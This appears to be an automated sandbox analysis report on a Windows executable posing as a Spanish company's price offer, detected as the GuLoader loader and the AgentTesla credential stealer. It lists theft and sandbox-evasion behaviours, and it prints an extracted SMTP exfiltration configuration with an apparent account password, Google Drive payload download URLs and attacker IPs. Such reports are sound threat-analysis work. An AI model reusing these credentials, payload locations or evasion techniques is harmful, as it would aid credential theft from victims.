Windows Analysis Report GRUPO MARI#U00d1O OBRAS Y SERVICIOS, SL Oferta 2709213390.exe

Overview

General Information

Sample Name: GRUPO MARI#U00d1O OBRAS Y SERVICIOS, SL Oferta 2709213390.exe
Analysis ID: 1371
MD5: 991bee5a9edd18a183c900b7edeccefe
SHA1: 18189c5a9d3ab005df5426494e2016a5d64b8c72
SHA256: e3c94531505c4a4d5bb35bb62e773676f7e9ab522111d930f02c3144c971414d
Infos:

Most interesting Screenshot:

Detection

AgentTesla GuLoader
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Found malware configuration
Multi AV Scanner detection for submitted file
Yara detected AgentTesla
Antivirus / Scanner detection for submitted sample
Sigma detected: RegAsm connects to smtp port
Yara detected GuLoader
Hides threads from debuggers
Writes to foreign memory regions
Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)
Tries to detect Any.run
Tries to harvest and steal ftp login credentials
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Tries to steal Mail credentials (via file access)
Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)
Tries to harvest and steal browser information (history, passwords, etc)
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Uses 32bit PE files
Queries the volume information (name, serial number etc) of a device
Antivirus or Machine Learning detection for unpacked file
May sleep (evasive loops) to hinder dynamic analysis
Uses code obfuscation techniques (call, push, ret)
Internet Provider seen in connection with other malware
Detected potential crypto function
Sample execution stops while process was sleeping (likely an evasion)
Yara detected Credential Stealer
JA3 SSL client fingerprint seen in connection with other malware
Creates processes with suspicious names
Contains long sleeps (>= 3 min)
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Sample file is different than original file name gathered from version info
PE file contains strange resources
Tries to load missing DLLs
Uses a known web browser user agent for HTTP communication
Detected TCP or UDP traffic on non-standard ports
Checks if the current process is being debugged
Uses SMTP (mail sending)
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Creates a process in suspended mode (likely to inject code)
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Classification

AV Detection:

barindex
Found malware configuration
Source: GRUPO MARI#U00d1O OBRAS Y SERVICIOS, SL Oferta 2709213390.exe.6280.1.memstrmin Malware Configuration Extractor: Agenttesla {"Exfil Mode": "SMTP", "SMTP Info": "info@quantgemfxinvest.comDagofe2000mail.quantgemfxinvest.comofficialspace6@gmail.com"}
Multi AV Scanner detection for submitted file
Source: GRUPO MARI#U00d1O OBRAS Y SERVICIOS, SL Oferta 2709213390.exe Virustotal: Detection: 27% Perma Link
Source: GRUPO MARI#U00d1O OBRAS Y SERVICIOS, SL Oferta 2709213390.exe ReversingLabs: Detection: 11%
Antivirus / Scanner detection for submitted sample
Source: GRUPO MARI#U00d1O OBRAS Y SERVICIOS, SL Oferta 2709213390.exe Avira: detected
Antivirus or Machine Learning detection for unpacked file
Source: 1.0.GRUPO MARI#U00d1O OBRAS Y SERVICIOS, SL Oferta 2709213390.exe.400000.0.unpack Avira: Label: TR/AD.Nekark.wsjms

Compliance:

barindex
Uses 32bit PE files
Source: GRUPO MARI#U00d1O OBRAS Y SERVICIOS, SL Oferta 2709213390.exe Static PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED
Source: unknown HTTPS traffic detected: 142.250.186.78:443 -> 192.168.11.20:49805 version: TLS 1.2
Source: unknown HTTPS traffic detected: 142.250.185.65:443 -> 192.168.11.20:49806 version: TLS 1.2

Networking:

barindex
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: SOLTIAES SOLTIAES
JA3 SSL client fingerprint seen in connection with other malware
Source: Joe Sandbox View JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19
Uses a known web browser user agent for HTTP communication
Source: global traffic HTTP traffic detected: GET /uc?export=download&id=1ycJKsjL72mds_kr72amoQuYUYdcifxy0 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: drive.google.comCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/8pgkjk8k3vc3ju64ugjuf54q6v6uu1oc/1632760800000/13596271228415839806/*/1ycJKsjL72mds_kr72amoQuYUYdcifxy0?e=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoCache-Control: no-cacheHost: doc-04-9c-docs.googleusercontent.comConnection: Keep-Alive
Detected TCP or UDP traffic on non-standard ports
Source: global traffic TCP traffic: 192.168.11.20:49807 -> 185.156.219.141:587
Uses SMTP (mail sending)
Source: global traffic TCP traffic: 192.168.11.20:49807 -> 185.156.219.141:587
Source: unknown Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49806
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49805
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: RegAsm.exe, 00000005.00000002.38793335913.000000001DC8D000.00000004.00000001.sdmp String found in binary or memory: subdomain_match":["go","tv"]},{"applied_policy":"EdgeUA","domain":"video.zhihu.com"},{"applied_policy":"ChromeUA","domain":"la7.it"},{"applied_policy":"ChromeUA","domain":"ide.cs50.io"},{"applied_policy":"ChromeUA","domain":"moneygram.com"},{"applied_policy":"ChromeUA","domain":"blog.esuteru.com"},{"applied_policy":"ChromeUA","domain":"online.tivo.com","path_match":["/start"]},{"applied_policy":"ChromeUA","domain":"smallbusiness.yahoo.com","path_match":["/businessmaker"]},{"applied_policy":"ChromeUA","domain":"jeeready.amazon.in","path_match":["/home"]},{"applied_policy":"ChromeUA","domain":"abc.com"},{"applied_policy":"ChromeUA","domain":"mvsrec738.examly.io"},{"applied_policy":"ChromeUA","domain":"myslate.sixphrase.com"},{"applied_policy":"ChromeUA","domain":"search.norton.com","path_match":["/nsssOnboarding"]},{"applied_policy":"ChromeUA","domain":"checkdecide.com"},{"applied_policy":"ChromeUA","domain":"virtualvisitlogin.partners.org"},{"applied_policy":"ChromeUA","domain":"carelogin.bryantelemedicine.com"},{"applied_policy":"ChromeUA","domain":"providerstc.hs.utah.gov"},{"applied_policy":"ChromeUA","domain":"applychildcaresubsidy.alberta.ca"},{"applied_policy":"ChromeUA","domain":"elearning.evn.com.vn","path_match":["/login"]},{"applied_policy":"ChromeUA","domain":"telecare.keckmedicine.org"},{"applied_policy":"ChromeUA","domain":"authoring.amirsys.com","path_match":["/login"]},{"applied_policy":"ChromeUA","domain":"elearning.seabank.com.vn","path_match":["/login"]},{"applied_policy":"ChromeUA","domain":"app.fields.corteva.com","path_match":["/login"]},{"applied_policy":"ChromeUA","domain":"gsq.minornet.com"},{"applied_policy":"ChromeUA","domain":"shop.lic.co.nz"},{"applied_policy":"ChromeUA","domain":"telehealthportal.uofuhealth.org"},{"applied_policy":"ChromeUA","domain":"portal.centurylink.com"},{"applied_policy":"ChromeUA","domain":"visitnow.org"},{"applied_policy":"ChromeUA","domain":"www.hotstar.com","path_match":["/in/subscribe/payment/methods/dc","/in/subscribe/payment/methods/cc"]},{"applied_policy":"ChromeUA","domain":"tryca.st","path_match":["/studio","/publisher"]},{"applied_policy":"ChromeUA","domain":"telemost.yandex.ru"},{"applied_policy":"ChromeUA","domain":"astrogo.astro.com.my"},{"applied_policy":"ChromeUA","domain":"airbornemedia.gogoinflight.com"},{"applied_policy":"ChromeUA","domain":"itoaxaca.mindbox.app"},{"applied_policy":"ChromeUA","domain":"app.classkick.com"},{"applied_policy":"ChromeUA","domain":"exchangeservicecenter.com","path_match":["/freeze"]},{"applied_policy":"ChromeUA","domain":"bancodeoccidente.com.co","path_match":["/portaltransaccional"]},{"applied_policy":"ChromeUA","domain":"better.com"},{"applied_policy":"IEUA","domain":"bm.gzekao.cn","path_match":["/tr/webregister/"]},{"applied_policy":"ChromeUA","domain":"scheduling.care.psjhealth.org","path_match":["/virtual"]},{"applied_policy":"ChromeUA","domain":"salud.go.cr"},{"applied_policy":"ChromeUA","domain":"learning.chungdahm.com"},{"applied_policy":"C
Source: RegAsm.exe, 00000005.00000002.38792666858.000000001DC01000.00000004.00000001.sdmp String found in binary or memory: http://127.0.0.1:HTTP/1.1
Source: RegAsm.exe, 00000005.00000002.38792666858.000000001DC01000.00000004.00000001.sdmp String found in binary or memory: http://DynDns.comDynDNS
Source: RegAsm.exe, 00000005.00000002.38793335913.000000001DC8D000.00000004.00000001.sdmp String found in binary or memory: http://WG0ZsvMNHDPKMQFPtKr.net
Source: RegAsm.exe, 00000005.00000002.38793335913.000000001DC8D000.00000004.00000001.sdmp String found in binary or memory: http://WG0ZsvMNHDPKMQFPtKr.nett-
Source: RegAsm.exe, 00000005.00000002.38800291967.000000001FDC9000.00000004.00000001.sdmp String found in binary or memory: http://apps.identrust.com/roots/dstrootcax3.p7c0
Source: RegAsm.exe, 00000005.00000002.38799907527.000000001FD84000.00000004.00000001.sdmp String found in binary or memory: http://cps.letsencrypt.org0
Source: RegAsm.exe, 00000005.00000002.38800291967.000000001FDC9000.00000004.00000001.sdmp String found in binary or memory: http://cps.root-x1.letsencrypt.org0
Source: RegAsm.exe, 00000005.00000003.34307315568.0000000000D02000.00000004.00000001.sdmp String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: RegAsm.exe, 00000005.00000003.34307315568.0000000000D02000.00000004.00000001.sdmp String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: RegAsm.exe, 00000005.00000002.38800291967.000000001FDC9000.00000004.00000001.sdmp String found in binary or memory: http://crl.identrust.com/DSTROOTCAX3CRL.crl0
Source: RegAsm.exe, 00000005.00000002.38792666858.000000001DC01000.00000004.00000001.sdmp String found in binary or memory: http://eFyLKv.com
Source: RegAsm.exe, 00000005.00000002.38793925849.000000001DD0D000.00000004.00000001.sdmp String found in binary or memory: http://mail.quantgemfxinvest.com
Source: RegAsm.exe, 00000005.00000002.38793925849.000000001DD0D000.00000004.00000001.sdmp String found in binary or memory: http://quantgemfxinvest.com
Source: RegAsm.exe, 00000005.00000002.38799907527.000000001FD84000.00000004.00000001.sdmp String found in binary or memory: http://r3.i.lencr.org/0
Source: RegAsm.exe, 00000005.00000002.38799907527.000000001FD84000.00000004.00000001.sdmp String found in binary or memory: http://r3.o.lencr.org0
Source: RegAsm.exe, 00000005.00000002.38800291967.000000001FDC9000.00000004.00000001.sdmp String found in binary or memory: http://x1.c.lencr.org/0
Source: RegAsm.exe, 00000005.00000002.38800291967.000000001FDC9000.00000004.00000001.sdmp String found in binary or memory: http://x1.i.lencr.org/0
Source: RegAsm.exe, 00000005.00000003.34307315568.0000000000D02000.00000004.00000001.sdmp String found in binary or memory: https://csp.withgoogle.com/csp/drive-explorer/
Source: RegAsm.exe, 00000005.00000003.34307315568.0000000000D02000.00000004.00000001.sdmp String found in binary or memory: https://doc-04-9c-docs.googleusercontent.com/
Source: RegAsm.exe, 00000005.00000003.34307315568.0000000000D02000.00000004.00000001.sdmp, RegAsm.exe, 00000005.00000003.34312263979.0000000000CFB000.00000004.00000001.sdmp String found in binary or memory: https://doc-04-9c-docs.googleusercontent.com/docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/8pgkjk8k
Source: RegAsm.exe, 00000005.00000002.38781778105.0000000000C78000.00000004.00000020.sdmp String found in binary or memory: https://drive.google.com/3
Source: RegAsm.exe, 00000005.00000002.38781778105.0000000000C78000.00000004.00000020.sdmp String found in binary or memory: https://drive.google.com/s
Source: RegAsm.exe, 00000005.00000002.38781651449.0000000000C50000.00000004.00000001.sdmp String found in binary or memory: https://drive.google.com/uc?export=download&id=1ycJKsjL72mds_kr72amoQuYUYdcifxy0
Source: RegAsm.exe, 00000005.00000002.38781778105.0000000000C78000.00000004.00000020.sdmp String found in binary or memory: https://drive.google.com/uc?export=download&id=1ycJKsjL72mds_kr72amoQuYUYdcifxy08
Source: RegAsm.exe, 00000005.00000003.34307259221.0000000000CFB000.00000004.00000001.sdmp String found in binary or memory: https://drive.google.com/uc?export=download&id=1ycJKsjL72mds_kr72amoQuYUYdcifxy0kCQupfSKyzZjNr4gg
Source: RegAsm.exe, 00000005.00000002.38781651449.0000000000C50000.00000004.00000001.sdmp String found in binary or memory: https://drive.google.com/uc?export=download&id=1ycJKsjL72mds_kr72amoQuYUYdcifxy0wininet.dllMozilla/5
Source: RegAsm.exe, 00000005.00000002.38793049140.000000001DC53000.00000004.00000001.sdmp String found in binary or memory: https://login.live.com/
Source: RegAsm.exe, 00000005.00000002.38792666858.000000001DC01000.00000004.00000001.sdmp String found in binary or memory: https://login.live.com//
Source: RegAsm.exe, 00000005.00000002.38792666858.000000001DC01000.00000004.00000001.sdmp String found in binary or memory: https://login.live.com/https://login.live.com/
Source: RegAsm.exe, 00000005.00000002.38792666858.000000001DC01000.00000004.00000001.sdmp String found in binary or memory: https://login.live.com/v104
Source: RegAsm.exe, 00000005.00000002.38793049140.000000001DC53000.00000004.00000001.sdmp String found in binary or memory: https://support.google.com/chrome/?p=plugin_flash
Source: RegAsm.exe, 00000005.00000002.38792666858.000000001DC01000.00000004.00000001.sdmp String found in binary or memory: https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip%tordir%%ha
Source: unknown DNS traffic detected: queries for: drive.google.com
Source: global traffic HTTP traffic detected: GET /uc?export=download&id=1ycJKsjL72mds_kr72amoQuYUYdcifxy0 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: drive.google.comCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/8pgkjk8k3vc3ju64ugjuf54q6v6uu1oc/1632760800000/13596271228415839806/*/1ycJKsjL72mds_kr72amoQuYUYdcifxy0?e=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoCache-Control: no-cacheHost: doc-04-9c-docs.googleusercontent.comConnection: Keep-Alive
Source: unknown HTTPS traffic detected: 142.250.186.78:443 -> 192.168.11.20:49805 version: TLS 1.2
Source: unknown HTTPS traffic detected: 142.250.185.65:443 -> 192.168.11.20:49806 version: TLS 1.2

System Summary:

barindex
Uses 32bit PE files
Source: GRUPO MARI#U00d1O OBRAS Y SERVICIOS, SL Oferta 2709213390.exe Static PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED
Detected potential crypto function
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 5_2_00A4C060 5_2_00A4C060
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 5_2_00A49A80 5_2_00A49A80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 5_2_00A43A50 5_2_00A43A50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 5_2_00A44320 5_2_00A44320
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 5_2_00A41130 5_2_00A41130
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 5_2_00A43708 5_2_00A43708
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 5_2_00A50218 5_2_00A50218
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 5_2_00A56A48 5_2_00A56A48
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 5_2_00A514E0 5_2_00A514E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 5_2_00F08998 5_2_00F08998
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 5_2_00F0A7C8 5_2_00F0A7C8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 5_2_00F0CF28 5_2_00F0CF28
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 5_2_00F0E4DB 5_2_00F0E4DB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 5_2_00F01D28 5_2_00F01D28
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 5_2_1CAD0040 5_2_1CAD0040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 5_2_1CAD81B0 5_2_1CAD81B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 5_2_1CADCFFB 5_2_1CADCFFB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 5_2_1CAD53D8 5_2_1CAD53D8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 5_2_1CADF758 5_2_1CADF758
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 5_2_1CAD2AA0 5_2_1CAD2AA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 5_2_1CAD0023 5_2_1CAD0023
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 5_2_1CADD748 5_2_1CADD748
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 5_2_1DA05E08 5_2_1DA05E08
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 5_2_1DA04ACC 5_2_1DA04ACC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 5_2_1DA05DC1 5_2_1DA05DC1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 5_2_1DA06AF1 5_2_1DA06AF1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 5_2_00F05858 5_2_00F05858
Sample file is different than original file name gathered from version info
Source: GRUPO MARI#U00d1O OBRAS Y SERVICIOS, SL Oferta 2709213390.exe, 00000001.00000002.34334612602.0000000000417000.00000002.00020000.sdmp Binary or memory string: OriginalFilenameKios2.exe vs GRUPO MARI#U00d1O OBRAS Y SERVICIOS, SL Oferta 2709213390.exe
Source: GRUPO MARI#U00d1O OBRAS Y SERVICIOS, SL Oferta 2709213390.exe Binary or memory string: OriginalFilenameKios2.exe vs GRUPO MARI#U00d1O OBRAS Y SERVICIOS, SL Oferta 2709213390.exe
PE file contains strange resources
Source: GRUPO MARI#U00d1O OBRAS Y SERVICIOS, SL Oferta 2709213390.exe Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Tries to load missing DLLs
Source: C:\Users\user\Desktop\GRUPO MARI#U00d1O OBRAS Y SERVICIOS, SL Oferta 2709213390.exe Section loaded: edgegdi.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: sfc.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: edgegdi.dll Jump to behavior
Source: GRUPO MARI#U00d1O OBRAS Y SERVICIOS, SL Oferta 2709213390.exe Virustotal: Detection: 27%
Source: GRUPO MARI#U00d1O OBRAS Y SERVICIOS, SL Oferta 2709213390.exe ReversingLabs: Detection: 11%
Source: GRUPO MARI#U00d1O OBRAS Y SERVICIOS, SL Oferta 2709213390.exe Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: C:\Users\user\Desktop\GRUPO MARI#U00d1O OBRAS Y SERVICIOS, SL Oferta 2709213390.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: C:\Users\user\Desktop\GRUPO MARI#U00d1O OBRAS Y SERVICIOS, SL Oferta 2709213390.exe Section loaded: C:\Windows\SysWOW64\msvbvm60.dll Jump to behavior
Source: unknown Process created: C:\Users\user\Desktop\GRUPO MARI#U00d1O OBRAS Y SERVICIOS, SL Oferta 2709213390.exe 'C:\Users\user\Desktop\GRUPO MARI#U00d1O OBRAS Y SERVICIOS, SL Oferta 2709213390.exe'
Source: C:\Users\user\Desktop\GRUPO MARI#U00d1O OBRAS Y SERVICIOS, SL Oferta 2709213390.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe 'C:\Users\user\Desktop\GRUPO MARI#U00d1O OBRAS Y SERVICIOS, SL Oferta 2709213390.exe'
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\GRUPO MARI#U00d1O OBRAS Y SERVICIOS, SL Oferta 2709213390.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe 'C:\Users\user\Desktop\GRUPO MARI#U00d1O OBRAS Y SERVICIOS, SL Oferta 2709213390.exe' Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\GRUPO MARI#U00d1O OBRAS Y SERVICIOS, SL Oferta 2709213390.exe File created: C:\Users\user\AppData\Local\Temp\~DFD14487B4C4D136C6.TMP Jump to behavior
Source: classification engine Classification label: mal100.spre.troj.spyw.evad.winEXE@4/1@4/3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File read: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\e4a1c9189d2b01f018b953e46c80d120\mscorlib.ni.dll Jump to behavior
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5040:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5040:304:WilStaging_02
Source: Window Recorder Window detected: More than 3 window changes detected
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 Jump to behavior

Data Obfuscation:

barindex
Yara detected GuLoader
Source: Yara match File source: 00000001.00000002.34336278917.00000000023C0000.00000040.00000001.sdmp, type: MEMORY
Uses code obfuscation techniques (call, push, ret)
Source: C:\Users\user\Desktop\GRUPO MARI#U00d1O OBRAS Y SERVICIOS, SL Oferta 2709213390.exe Code function: 1_2_004055C5 push eax; retf 1_2_004055C6
Source: C:\Users\user\Desktop\GRUPO MARI#U00d1O OBRAS Y SERVICIOS, SL Oferta 2709213390.exe Code function: 1_2_00402ACE push ecx; ret 1_2_00402AD4
Source: C:\Users\user\Desktop\GRUPO MARI#U00d1O OBRAS Y SERVICIOS, SL Oferta 2709213390.exe Code function: 1_2_004066FC push ebx; ret 1_2_00406705
Source: C:\Users\user\Desktop\GRUPO MARI#U00d1O OBRAS Y SERVICIOS, SL Oferta 2709213390.exe Code function: 1_2_023C3214 push esi; iretd 1_2_023C3215
Source: C:\Users\user\Desktop\GRUPO MARI#U00d1O OBRAS Y SERVICIOS, SL Oferta 2709213390.exe Code function: 1_2_023C3BAF push eax; ret 1_2_023C3BB0
Source: C:\Users\user\Desktop\GRUPO MARI#U00d1O OBRAS Y SERVICIOS, SL Oferta 2709213390.exe Code function: 1_2_023C2808 push cs; retf 1_2_023C2809
Source: C:\Users\user\Desktop\GRUPO MARI#U00d1O OBRAS Y SERVICIOS, SL Oferta 2709213390.exe Code function: 1_2_023C7079 push 0000001Ch; ret 1_2_023C7089
Source: C:\Users\user\Desktop\GRUPO MARI#U00d1O OBRAS Y SERVICIOS, SL Oferta 2709213390.exe Code function: 1_2_023C50D2 pushfd ; iretd 1_2_023C5189
Source: C:\Users\user\Desktop\GRUPO MARI#U00d1O OBRAS Y SERVICIOS, SL Oferta 2709213390.exe Code function: 1_2_023C5139 pushfd ; iretd 1_2_023C5189
Source: C:\Users\user\Desktop\GRUPO MARI#U00d1O OBRAS Y SERVICIOS, SL Oferta 2709213390.exe Code function: 1_2_023C190D push 00000055h; ret 1_2_023C1917
Source: C:\Users\user\Desktop\GRUPO MARI#U00d1O OBRAS Y SERVICIOS, SL Oferta 2709213390.exe Code function: 1_2_023C1637 push esp; iretd 1_2_023C1642
Source: C:\Users\user\Desktop\GRUPO MARI#U00d1O OBRAS Y SERVICIOS, SL Oferta 2709213390.exe Code function: 1_2_023C06B6 push esp; ret 1_2_023C06BB
Source: C:\Users\user\Desktop\GRUPO MARI#U00d1O OBRAS Y SERVICIOS, SL Oferta 2709213390.exe Code function: 1_2_023C26FF pushfd ; retf 1_2_023C2700
Source: C:\Users\user\Desktop\GRUPO MARI#U00d1O OBRAS Y SERVICIOS, SL Oferta 2709213390.exe Code function: 1_2_023C6FFD push edi; ret 1_2_023C7002
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 5_2_1CAD1B50 push eax; ret 5_2_1CAD1B65

Persistence and Installation Behavior:

barindex
Creates processes with suspicious names
Source: C:\Users\user\Desktop\GRUPO MARI#U00d1O OBRAS Y SERVICIOS, SL Oferta 2709213390.exe File created: \grupo mari#u00d1o obras y servicios, sl oferta 2709213390.exe
Source: C:\Users\user\Desktop\GRUPO MARI#U00d1O OBRAS Y SERVICIOS, SL Oferta 2709213390.exe File created: \grupo mari#u00d1o obras y servicios, sl oferta 2709213390.exe Jump to behavior
Source: C:\Users\user\Desktop\GRUPO MARI#U00d1O OBRAS Y SERVICIOS, SL Oferta 2709213390.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
